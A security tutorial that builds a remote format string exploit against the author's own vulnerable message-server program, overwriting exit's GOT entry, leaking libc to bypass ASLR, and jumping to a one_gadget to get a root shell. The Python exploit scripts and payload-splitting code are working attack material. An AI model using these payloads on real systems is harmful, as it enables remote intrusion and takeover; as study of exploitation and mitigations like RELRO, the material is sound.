Format Strings: GOT overwrite to change Control Flow Remotely on ASLR

Previously we saw how we can use format strings to leak memory and return to plt to bypass ASLR. In this article we will see what more can we do with format string exploits.

We had format string vulnerability in the printf function, let's head to man page of printf.

Conversion specifiers
    A character that specifies the type of conversion to be applied.
    The conversion specifiers and their meanings are:

n      The  number  of characters written so far is stored into the integer
       pointed to by the corresponding argument.  That argument shall be an
       int *, or variant whose size matches the (optionally) supplied integer
       length modifier.  No argument is converted.  (This specifier is not
       supported by the bionic C library.)  The behavior is  undefined  if the
       conversion specification includes any flags, a field width, or a precision.

Last time we used '%p' conversion specifier with printf to leak memory. As we can see in man page '%n' can be used to write number of characters printed to a memory location. That's great. We can now control the contents of memory as we want with format string exploit.
Let's take a look at this code.

Clearly at line 15, we can see format string vulnerability. Compile it with '-no-pie' flag. Position Independent Executable (PIE) is an exploit mitigation technique which loads different sections of executable at random addresses making it harder for attacker to find correct address. Addresses in such executables are usually calculated by relative offsets. We don't want that now.

virtual@mecha:~$ gcc frmt_str.c -o frmt_str -no-pie

Very simple code. It reads a message. May be send it somewhere and also shows the sent message. Two things to notice here are, first the author has done proper bound checks, so u can't overflow the buffer and second that even if buffer is overflowed, the program never returns. It exits. So return address can't be overwritten. Let's use format string exploit to alter the control flow of program somehow. But first a few basics on format strings.

Format Strings: Few basics

Let's run the program we just compiled and input some format strings.

virtual@mecha:~$ ./frmt_str
########  Welcome to Open Message Server ########

Enter message(max 150 chars): %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
Sent !
0x8d6260 0x7fdc0e42d720 0x7fdc0e3597a8 0x7fdc0e432500 0x77 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa2070252070 0x9 0xf0b5ff 0xc2 0x7ffc19269816 

Great we can dump memory with format strings. If you look from 6th element from dump, you will see they are actually ascii values for '%p's. Now let's say if you want to just access 6th value from dump. You can specify that with '%6$p'.

virtual@mecha:~$ ./frmt_str
########  Welcome to Open Message Server ########

Enter message(max 150 chars): %6$p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Sent !
0x2070252070243625 0x602260 0x7ffff7f82720 0x7ffff7eae7a8 0x7ffff7f87500 0x77 0x2070252070243625 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa702520702520 0x9 0xf0b5ff 0xc2

The first '%6$p' prints the 6th value. Similarly for 5th element.

virtual@mecha:~$ ./frmt_str
########  Welcome to Open Message Server ########

Enter message(max 150 chars): %5$p %5$p %5$p %5$p %5$p %5$p %5$p %5$p %5$p %5$p %5$p %5$p %5$p %5$p %5$p 
Sent !
0x77 0x77 0x77 0x77 0x77 0x77 0x77 0x77 0x77 0x77 0x77 0x77 0x77 0x77 0x77

Also if you want to print may be 100 white space characters before printing the value, you can use '%100p' will print 100 white space characters. These two combined can be written as '%6$100p' will print 100 spaces and then 6th element.

virtual@mecha:~$ ./frmt_str
########  Welcome to Open Message Server ########

Enter message(max 150 chars): %5$p %5$100p %p %60p %p %p %p %p %p %p %p %p %p %p %p
Sent !
0x77                                               0x77 0x602260                           0x7ffff7f82720 0x7ffff7eae7a8 0x7ffff7f87500 0x77 0x2435252070243525 0x2070252070303031 0x2070252070303625 0x7025207025207025 0x2520702520702520 0x2070252070252070 0xa7025207025 0xf0b5ff

It prints 5th element, then 100 spaces then 5th and next element then 60 spaces and rest of dump.
Time to test our notorious '%n' format specifier. It basically just writes the number of bytes to the memory location it is pointing to. In the above examples if we replace a 'p' with 'n', it will try to write to memory location printed by that particular 'p' with number of bytes printed on screen till then.Let's test that in gdb.

virtual@mecha:~$ gdb frmt_str -q
Reading symbols from frmt_str...(no debugging symbols found)...done.
gdb-peda$ aslr off
gdb-peda$ r <<< "ABCDEFGH%p"                 <== 8 bytes then %p
Starting program: /home/archer/Documents/frmt_str <<< "ABCDEFGH%p"
########  Welcome to Open Message Server ########

Enter message(max 150 chars): Sent !
ABCDEFGH0x602260                             <== 8 bytes then an address
[Inferior 1 (process 5079) exited normally]
Warning: not running or target is remote
gdb-peda$ b *main+137
Breakpoint 1 at 0x40072b
gdb-peda$ r <<< "ABCDEFGH%n"                 <== %p replaced with %n. Number of bytes will be written at the address
Starting program: /home/archer/Documents/frmt_str <<< "ABCDEFGH%n"
########  Welcome to Open Message Server ########

Enter message(max 150 chars): Sent !
ABCDEFGH
Breakpoint 1, 0x000000000040072b in main ()
gdb-peda$ x 0x602260
0x602260: 0x4847464500000008                 <== 8 bytes stored at address

As you can see above, the when '%p' is replaced with '%n', the number of bytes i.e. 8, printed before '%n' is written to that address. Trying to write to invalid addresses will give segfault. So if we now want to change some value at an address we just need to print that many bytes and point it to that address. Time to use what we learned to exploit the program.

Exploiting the program

Our main concern here is that the program never returns. It exits directly. Even if we overwrite something with format string vulnerability, we may not be able to use that. Also ASLR will be on, so once program exits, our memory leak won't be useful.

Top priority is to stop the program from exiting. But how ? think !

[Hint: Global Offset Table]

We learned in last article how Procedure Linkage Table and Global Offset Table work. Our functions which are defined in shared libraries like libc find their addresses with the help of PLT and GOT. Also GOT is writable and whenever these functions(like exit(), printf(), etc.) are called, GOT entry of respective function is looked up first, then program counter jumps to that address.

What if we modify the GOT entry of a function with format strings. Whenever that function will be called, the program counter will go to the modified GOT entry. Great. Finally we have control over program counter.

Now regarding keeping the leaks useful cause of ASLR and then crafting and sending an exploit from it. Seems like we need to provide input 2-3 times to the program for it to spit out necessary information to craft an exploit.

Best way to do that ? Just don't let the program die and still make it prompt input. What I did was to overwrite the GOT entry of exit() function to _start of program so whenever exit is called, the program starts again without getting killed.

_start() from exit()

From gdb we can find address of _start function.

gdb-peda$ info functions _start 
All functions matching regular expression "_start":

Non-debugging symbols:
0x00000000004005c0  _start

Address of _start is 0x4005c0 which is 4,195,776 in decimal. It means we will need to print 4,195,776 bytes to get 0x4005c0 in memory with format strings !
That is a lot of bytes. You can try that but as numbers go bigger, it is not efficient and will take up lot of time. What else can be done ?

We can divide the address in multiple parts. First we will use %p to print 0xc0 i.e. 192 bytes and a %n pointing to exit@got.plt, then for the rest 0x4005 i.e. 16,389 bytes part we need (16389-192=) 16197 bytes more with %p and then next "%n" at (exit@got.plt+1) address. And finally there will be address of exit@got.plt and exit@got.plt+1 in payload so that we can make %n point to it.
Confusing ? You will understand more in practical. Till then try playing with format strings a bit. See how changing number of bytes in input affects where you point to. May be disable ASLR for a bit.

So if you tried playing with different types of input and lengths, you will notice that a particular format string will show different content if length of input is changed. No idea what I'm talking about ? As we know we can dump contents of memory with format strings. It may also show us the contents in local variables. In this program our input is stored in a local variable. When we change length of input the %p still points to same memory location but the contents of that location are changed. So while trying out different inputs we might want our input with constant length for ease in finding contents in memory and debugging the exploit. I already have my program running as root on remote server at port 5555 with this command.

$ sudo socat tcp-listen:5555,reuseaddr,fork, exec:"./frmt_str"

Let's check it out in a script we will use for testing.

from telnetlib import Telnet
from struct import pack

p64 = lambda x : pack("Q",x)
p=Telnet('192.168.43.81',5555)                    #remote ip and port

exit_got=0x601038                                 #address of 
_start=0x4005c0                   #4195776        address of _start function

buf = ""                                          #payload
buf+='%p%p%p%p'.ljust(24)                         #adjust the size of string to be always 24 bytes
buf+=p64(exit_got)
buf+=p64(exit_got+1)

print p.read_until("s):")                         #read from network
p.write(buf+'\n')                                 #write to network
p.interact()

We need two %p and two %n. Currently I'm just using four %p so that we can see where it points and replace that with %n later.After format strings we have address of exit@got.plt and exit@got.plt+1 so we will fill first byte with 0xc0 and rest with 0x4005. I'm using ljust() function in python so that it will always pad string on right side and make it of constant length always. Default padding is whitespace and since we have read function in program, we won't have any problem. However if it's some other function like scanf then whitespace is a bad char for it. We can change the padding by passing a second parameter to ljust() function.

$ python2 tst.py
########  Welcome to Open Message Server ########

Enter message(max 150 chars):
 Sent !
0x746e65530x7fed84e6e8c00x2120746e0x7fed850804c0                8

We can't see address of exit_got (0x601038) yet in output. We need to dump more data from stack. As we learned earlier we can simply access next values by specifying the number in format string like this '%5$p' for 5th value. Remember we want second %p to point to exit@got.plt and 4th to point to exit@got.plt+1. So try changing values for those till you find exit@got.plt in dump. Also you can simply dump more data and count the index for exit@got.plt. In my case, the 9th value was exit@got.plt and hence 10th will be exit@got.plt+1. So new code is

from telnetlib import Telnet
from struct import pack

p64 = lambda x : pack("Q",x)
#p=process('./frmt_str')
p=Telnet('192.168.43.81',5555)

exit_got=0x601038
_start=0x4005c0                     #4195776

buf = ""
buf+='%p%9$p%p%10$p'.ljust(24)
buf+=p64(exit_got)
buf+=p64(exit_got+1)

print p.read_until("s):")
p.write(buf+'\n')
p.interact()

and here's output.

$ python2 tst.py
########  Welcome to Open Message Server ########

Enter message(max 150 chars):
 Sent !
0x746e65530x6010380x7ff78d3088c00x601039           8

As you can see in output, we are now pointing to exit@got.plt address. By changing those particular %p to %n, we can write the number of bytes printed on screen to that address. So we use first %p to print 0xc0 i.e. 192 bytes and then third to print rest 0x4005 i.e. 16,389 bytes part we need (16389-192=) 16197 bytes. After payload is executed, the got entry of exit will now point to _start of program. New payload -

from telnetlib import Telnet
from struct import pack

p64 = lambda x : pack("Q",x)
#p=process('./frmt_str')
p=Telnet('192.168.43.81',5555)

exit_got=0x601038
_start=0x4005c0 #4195776

buf = ""
buf+='%192p%9$n%16197p%10$n'.ljust(24)
buf+=p64(exit_got)
buf+=p64(exit_got+1)

print p.read_until("s):")
p.write(buf+'\n')
p.interact()

Execute it.

$ python2 tst.py
########  Welcome to Open Message Server ########

Enter message(max 150 chars):
 Sent !
.
[redacted empty space]
.              0x746e6553
.
.
[redacted]
.
.   0x7f8f9bebf8c0   8 `########  Welcome to Open Message Server ########

Enter message(max 150 chars): %p%p%p%p%p%p
Sent !
0x746e65530x7f8f9bebf8c00x2120746e0x7f8f9c0d14c0(nil)0x7025702570257025
########  Welcome to Open Message Server ########

Enter message(max 150 chars): %p%p%p%p%p%p
Sent !
0x746e65530x7f8f9bebf8c00x2120746e0x7f8f9c0d14c0(nil)0x7025702570257025
########  Welcome to Open Message Server ########

Enter message(max 150 chars):

And now our program will run in an infinite loop and we can gather more info to craft an exploit for remote code execution.

Now for rce we'll do return to libc. First you might wanna find out the version of libc on target. The OS and version may be guessed through some reconnaissance or some more reliable methods we will discuss in next article where we will exploit on a completely unknown libc.

In this program, we may try to dump data from stack and will check if we find any libc address in it. You might wanna turn off ASLR on your test target and find the address range of libc with vmmap in gdb peda or cat /proc/$pid/maps to view memory maps.

from telnetlib import Telnet
from struct import pack

p64 = lambda x : pack("Q",x)
#p=process('./frmt_str')
p=Telnet('192.168.43.81',5555)

exit_got=0x601038
_start=0x4005c0               #4195776

buf = ""
buf+='%192p%9$n%16197p%10$n'.ljust(24)
buf+=p64(exit_got)
buf+=p64(exit_got+1)

print p.read_until("s):")

p.write(buf+'\n')
print p.read_until("s):")

buf=""
buf+="%p "*30

p.write(buf+'\n')
print p.read_until("Sent !\n")
rec = p.read_until("s):").split(' ')

print rec
print "[*] Possible libc address rec[26]:",rec[26]

Output -

$ python2 frmt_str.py
########  Welcome to Open Message Server ########

Enter message(max 150 chars):
 Sent !

['0x746e6553', '0x7ffff7dd18c0', '0x2120746e', '0x7ffff7fde4c0', '(nil)', '0x7025207025207025', '0x2520702520702520', '0x2070252070252070', '0x7025207025207025', '0x2520702520702520', '0x2070252070252070', '0x7025207025207025', '0x2520702520702520', '0x2070252070252070', '0x7025207025207025', '0x2520702520702520', '0x62b52fa4f00a2070', '(nil)', '0x40077d', '0x4005c0', '(nil)', '0x400730', '0x4005c0', '0x7fffffffe580', '0x62b52fa4f0c2f600', '0x400730', '0x7ffff7a05b97', '0x7fffffffe340', '0x7fffffffe400', '0x40073000000000', '\n\xf0\xa4/\xb5b########', '', 'Welcome', 'to', 'Open', 'Message', 'Server', '########\n\nEnter', 'message(max', '150', 'chars):']

[*] Possible libc address rec[26]: 0x7ffff7a05b97

I found 26th address to be libc address. If you check this lies somewhere in __libc_start_main function in libc and in this case <__libc_start_main+231>. Now you can find libc base with it's offset.
Next we will search for one gadget in target libc.

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Returning to these gadgets will give us shell. Great we can now calculate libc base and one gadget execve address even when ASLR is on. Add following to previous code.

libc_start_main = int(rec[26],16)

libc_base_off = 0x21b97
one_gadget_off = 0x10a38c

libc_base = libc_start_main - libc_base_off
one_gadget = hex(libc_base + one_gadget_off)

print "[*] Found libc base:",hex(libc_base)
print "[*] One gadget location:",one_gadget

Now how can we return to our rop gadget ?

We can again use format string to overwrite got entry of a function and change it to our gadget. But we have some problems we need to solve. If you were able to follow this far, try doing it further  and solving any problems yourself now. You might even discover some new ways. If stuck you may read further to find how I did.

Since we are using format string to overwrite got entry, we need to print that number of bytes for address. You will see address in libc is actually very large number. To do this efficiently we can split it into 4-5 small parts. The problem is, since the ASLR is on, our exploit code needs to calculate how to split the address every-time. Let's see how we can do it. You can try to implement your own algorithm for it.

Take this address in libc for example 0x7f8e9def138c. I will divide address into 5 parts and then overwrite exit@got.plt byte by byte starting from least significant byte like this:

a=int(one_gadget[:6],16)         #0x7f8e
b=int('0x'+one_gadget[6:8],16)   #0x9d
c=int('0x'+one_gadget[8:10],16)  #0xef
d=int('0x'+one_gadget[10:12],16) #0x13
e=int('0x'+one_gadget[12:],16)   #0x8c

It's understood that we will use  %p to print specific number of bytes and 5 alternative %n to overwrite different bytes at exit@got.plt address. 'e' is the LSB, so first we will print 140(0x8c) bytes. Then second is 'd' 19(0x13) bytes. But we have already printed 140 bytes. How can we overwrite with 0x13 i.e. 19 bytes after that?
So we may not be able to overwrite with 0x13 since it's smaller than number of previously printed bytes i.e. 140. But 0x1 13(275) is more than 140. We can print 0x1 13 bytes and overwrite just '0x1' from '0x1 13 ' with next %n. In other words we overflow into next byte and overwrite next byte with next %n. This can be done by adding 0x100 to smaller value until becomes greater than previous. Similar overflow can be used for c,d and b,c when value of latter is less than total number of bytes printed. And at last 'a'(0x7f8e) is overwritten on the address. Here's how the payload will be.

while e>d:
 d+=0x100                #add 0x100 till d becomes greater than e
while d>c:
 c+=0x100
while c>b:
 b+=0x100

buf = ""                 #specify the number of bytes and point to correct address
buf+="%{0}p%13$n%{1}p%14$n%{2}p%15$n%{3}p%16$n%{4}p%17$n".format(e,d-e,c-d,b-c,a-b).ljust(56)
buf+=p64(exit_got)                                        #subtracted to reduce number of bytes already printed
buf+=p64(exit_got+1)             # 5 addresses byte by byte

buf+=p64(exit_got+2)
buf+=p64(exit_got+3)
buf+=p64(exit_got+4)
buf+=p64(0x0)*2                # just some nulls for cleaner stack

For better understanding, you can view the overwritten address with gdb by attaching to process "at $pid", setting breakpoint after printf and "x/gx 0x601038". Check with different inputs how you can modify it.

We made the final payload. Time to put everything together and test. Here's my exploit.

You might require some changes. Also if you face problems try troubleshooting by attaching to process in gdb or any debugger of your choice. Check if you are able to overwrite address correctly.
Running the exploit:

attacker@server:~$ python2 frmt_str.py
########  Welcome to Open Message Server ########

Enter message(max 150 chars):
 Sent !
                                                                                                                                                                                      0x746e6553
.
[redacted]
.
0x7f293a0fd8c0   8 `########  Welcome to Open Message Server ########

Enter message(max 150 chars):
 Sent !

['0x746e6553', '0x7f293a0fd8c0', '0x2120746e', '0x7f293a30f4c0', '(nil)', '0x7025207025207025', '0x2520702520702520', '0x2070252070252070', '0x7025207025207025', '0x2520702520702520', '0x2070252070252070', '0x7025207025207025', '0x2520702520702520', '0x2070252070252070', '0x7025207025207025', '0x2520702520702520', '0x27d3c871560a2070', '(nil)', '0x40077d', '0x4005c0', '(nil)', '0x400730', '0x4005c0', '0x7ffe8a45fef0', '0x27d3c87156e3a200', '0x400730', '0x7f2939d31b97', '0x7ffe8a45fcb0', '0x7ffe8a45fd70', '0x40073000000000', "\nVq\xc8\xd3'########", '', 'Welcome', 'to', 'Open', 'Message', 'Server', '########\n\nEnter', 'message(max', '150', 'chars):']
[*] Possible libc address rec[26]: 0x7f2939d31b97
[*] Found libc base: 0x7f2939d10000
[*] One gadget location: 0x7f2939e1a38c
Press Enter >
 Sent !
                                                                                                                                  0x746e6553         0x7f293a0fd8c0                                                    0x2120746e                                                                          0x7f293a30f4c0
.
[redacted]
.
.
uid=0(root) gid=0(root) groups=0(root)
root@mecha:~# whoami
whoami
root
root@mecha:~# pwd
pwd
/home/virtual
root@mecha:~#

And we successfully used format string exploit to overwrite GOT table, change control flow, leak data, bypass ASLR, achieve Remote Code Execution and get an interactive shell on target server.

You might have seen RELRO as an exploit mitigation technique.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

RELRO helps in mitigating such type of attacks in which attacker overwrites GOT entry. It stands for RELocation Read Only. It makes the relocation sections that are used to resolve dynamically loaded functions like GOT read only by resolving them at beginning of execution. Our exploit will fail on full RELRO.
In next article we will try to exploit a completely unknown libc on a remote system with ASLR.

For further queries contact me @ShivamShrirao.

Next read: Leak libc addresses from GOT to exploit unknown libc, bypassing ASLR remotely 64 bit